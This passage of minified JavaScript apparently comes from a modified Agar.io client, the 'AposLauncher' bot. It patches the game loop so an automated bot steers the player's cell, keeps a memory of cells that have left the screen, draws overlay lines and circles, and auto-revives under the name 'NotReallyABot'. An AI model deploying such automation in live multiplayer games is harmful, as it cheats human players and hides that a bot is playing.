!0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && (document.getElementById("overlays").style.display = "none", k.push(n), n.birth = getLastUpdate(), n.birthMass = (n.size * n.size / 100), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); //console.log("Time not updated: " + (window.getLastUpdate() - interNodes[element].getUptimeTime())); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } /** * Some horse shit of some sort. * @return Horse Shit */ function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } /** * A conversion from the screen's horizontal coordinate system * to the game's horizontal coordinate system. * @param x in the screen's coordinate system * @return x in the game's coordinate system */ window.screenToGameX = function(x) { return (x - getWidth() / 2) / getRatio() + getX(); } /** * A conversion from the screen's vertical coordinate system * to the game's vertical coordinate system. * @param y in the screen's coordinate system * @return y in the game's coordinate system */ window.screenToGameY = function(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; console.log("Done Reviving!"); } if (T()) { var a = fa - m / 2; var b = ga - r / 2; 64 > a * a + b * b || .01 > Math.abs(eb - ia) && .01 > Math.abs(fb - ja) || (eb = ia, fb = ja, a = N(13), a.setUint8(0, 16), a.setInt32(1, ia, !0), a.setInt32(5, ja, !0), a.setUint32(9, 0, !0), O(a)) } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex].mainLoop(); if (!toggle) { setPoint(moveLoc[0], moveLoc[1]); } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime()) / 1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 != R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, (getDarkBool() ? '#111111' : '#F2FBFF')); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0] - (textRender.width / 2), dPoints[i][1] - (textRender.height / 2)); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var botString = window.botList[botIndex].displayText(); var debugStrings = []; debugStrings.push("Bot: " + window.botList[botIndex].name); debugStrings.push("Launcher: AposLauncher " + aposLauncherVersion); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); for (var i = 0; i < botString.length; i++) { debugStrings.push(botString[i]); } debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b = r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e }), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }); console.log("Hello Facebook?"); } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { console.log("Facebook Fail!"); B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }); console.log("Facebook connected!"); }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { console.log("You have a Facebook problem!"); B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = "https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["NotReallyABot"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = -1, ja = -1, zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(d.navigator.userAgent), Ja = new Image; Ja.src = "img/split.png"; var nb = document.createElement("canvas"); if ("undefined" == typeof console || "undefined" == typeof DataView || "undefined" == typeof WebSocket || null == nb || null == nb.getContext || null == d.localStorage) alert("You browser does not support this game, we recommend you to use Firefox to play this"); else { var ka = null; d.setNick = function(a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Xa(); K = a; cb(); R = 0 }; d.setRegion = ha; d.setSkins = function(a) { kb = a }; d.setNames = function(a) { wa = a }; d.setDarkTheme = function(a) { ta = a }; d.setColors = function(a) { Oa = a }; d.setShowMass = function(a) { lb = a }; d.spectate = function() { K = null; H(1); Xa() }; d.setGameMode = function(a) { a != P && (":party" == P && e("#helloContainer").attr("data-party-state", "0"), Y(a), ":party" != a && I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: "EU-London", FK: "BR-Brazil", FJ: "SG-Singapore", FI: "EU-London", FR: "EU-London", GF: "BR-Brazil", PF: "SG-Singapore", GA: "EU-London", GM: "EU-London", GE: "JP-Tokyo", DE: "EU-London", GH: "EU-London", GI: "EU-London", GR: "EU-London", GL: "US-Atlanta", GD: "US-Atlanta", GP: "US-Atlanta", GU: "SG-Singapore", GT: "US-Atlanta", GG: "EU-London", GN: "EU-London", GW: "EU-London", GY: "BR-Brazil", HT: "US-Atlanta", VA: "EU-London", HN: "US-Atlanta", HK: "JP-Tokyo", HU: "EU-London", IS: "EU-London", IN: "JP-Tokyo", ID: "JP-Tokyo", IR: "JP-Tokyo", IQ: "JP-Tokyo", IE: "EU-London", IM: "EU-London", IL: "JP-Tokyo", IT: "EU-London", JM: "US-Atlanta", JP: "JP-Tokyo", JE: "EU-London", JO: "JP-Tokyo", KZ: "JP-Tokyo", KE: "EU-London", KI: "SG-Singapore", KP: "JP-Tokyo", KR: "JP-Tokyo", KW: "JP-Tokyo", KG: "JP-Tokyo", LA: "JP-Tokyo", LV: "EU-London", LB: "JP-Tokyo", LS: "EU-London", LR: "EU-London", LY: "EU-London", LI: "EU-London", LT: "EU-London", LU: "EU-London", MO: "JP-Tokyo", MK: "EU-London", MG: "EU-London", MW: "EU-London", MY: "JP-Tokyo", MV: "JP-Tokyo", ML: "EU-London", MT: "EU-London", MH: "SG-Singapore", MQ: "US-Atlanta", MR: "EU-London", MU: "EU-London", YT: "EU-London", MX: "US-Atlanta", FM: "SG-Singapore", MD: "EU-London", MC: "EU-London", MN: "JP-Tokyo", ME: "EU-London", MS: "US-Atlanta", MA: "EU-London", MZ: "EU-London", MM: "JP-Tokyo", NA: "EU-London", NR: "SG-Singapore", NP: "JP-Tokyo", NL: "EU-London", NC: "SG-Singapore", NZ: "SG-Singapore", NI: "US-Atlanta", NE: "EU-London", NG: "EU-London", NU: "SG-Singapore", NF: "SG-Singapore", MP: "SG-Singapore", NO: "EU-London", OM: "JP-Tokyo", PK: "JP-Tokyo", PW: "SG-Singapore", PS: "JP-Tokyo", PA: "US-Atlanta", PG: "SG-Singapore", PY: "BR-Brazil", PE: "BR-Brazil", PH: "JP-Tokyo", PN: "SG-Singapore", PL: "EU-London", PT: "EU-London", PR: "US-Atlanta", QA: "JP-Tokyo", RE: "EU-London", RO: "EU-London", RU: "RU-Russia", RW: "EU-London", BL: "US-Atlanta", SH: "EU-London", KN: "US-Atlanta", LC: "US-Atlanta", MF: "US-Atlanta", PM: "US-Atlanta", VC: "US-Atlanta", WS: "SG-Singapore", SM: "EU-London", ST: "EU-London", SA: "EU-London", SN: "EU-London", RS: "EU-London", SC: "EU-London", SL: "EU-London", SG: "JP-Tokyo", SX: "US-Atlanta", SK: "EU-London", SI: "EU-London", SB: "SG-Singapore", SO: "EU-London", ZA: "EU-London", SS: "EU-London", ES: "EU-London", LK: "JP-Tokyo", SD: "EU-London", SR: "BR-Brazil", SJ: "EU-London", SZ: "EU-London", SE: "EU-London", CH: "EU-London", SY: "EU-London", TW: "JP-Tokyo", TJ: "JP-Tokyo", TZ: "EU-London", TH: "JP-Tokyo", TL: "JP-Tokyo", TG: "EU-London", TK: "SG-Singapore", TO: "SG-Singapore", TT: "US-Atlanta", TN: "EU-London", TR: "TK-Turkey", TM: "JP-Tokyo", TC: "US-Atlanta", TV: "SG-Singapore", UG: "EU-London", UA: "EU-London", AE: "EU-London", GB: "EU-London", US: "US-Atlanta", UM: "SG-Singapore", VI: "US-Atlanta", UY: "BR-Brazil", UZ: "JP-Tokyo", VU: "SG-Singapore", VE: "BR-Brazil", VN: "JP-Tokyo", WF: "SG-Singapore", EH: "EU-London", YE: "JP-Tokyo", ZM: "EU-London", ZW: "EU-London" }, L = null; d.connect = Ca; //UPDATE /** * Tells you if the game is in Dark mode. * @return Boolean for dark mode. */ window.getDarkBool = function() { return ta; } /** * Tells you if the mass is shown. * @return Boolean for player's mass. */ window.getMassBool = function() { return lb; } /** * This is a copy of everything that is shown on screen. * Normally stuff will time out when off the screen, this * memorizes everything that leaves the screen for a little * while longer. * @return The memory object. */ window.getMemoryCells = function() { return interNodes; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCellsArray = function() { return v; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCells = function() { return E; } /** * Returns an array with all the player's cells. * @return Player's cells */ window.getPlayer = function() { return k; } /** * The canvas' width. * @return Integer Width */ window.getWidth = function() { return m; } /** * The canvas' height * @return Integer Height */ window.getHeight = function() { return r; } /** * Scaling ratio of the canvas. The bigger this ration, * the further that you see. * @return Screen scaling ratio. */ window.getRatio = function() { return h; } /** * [getOffsetX description] * @return {[type]} [description] */ window.getOffsetX = function() { return aa; } window.getOffsetY = function() { return ba; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return ia; } window.getPointY = function() { 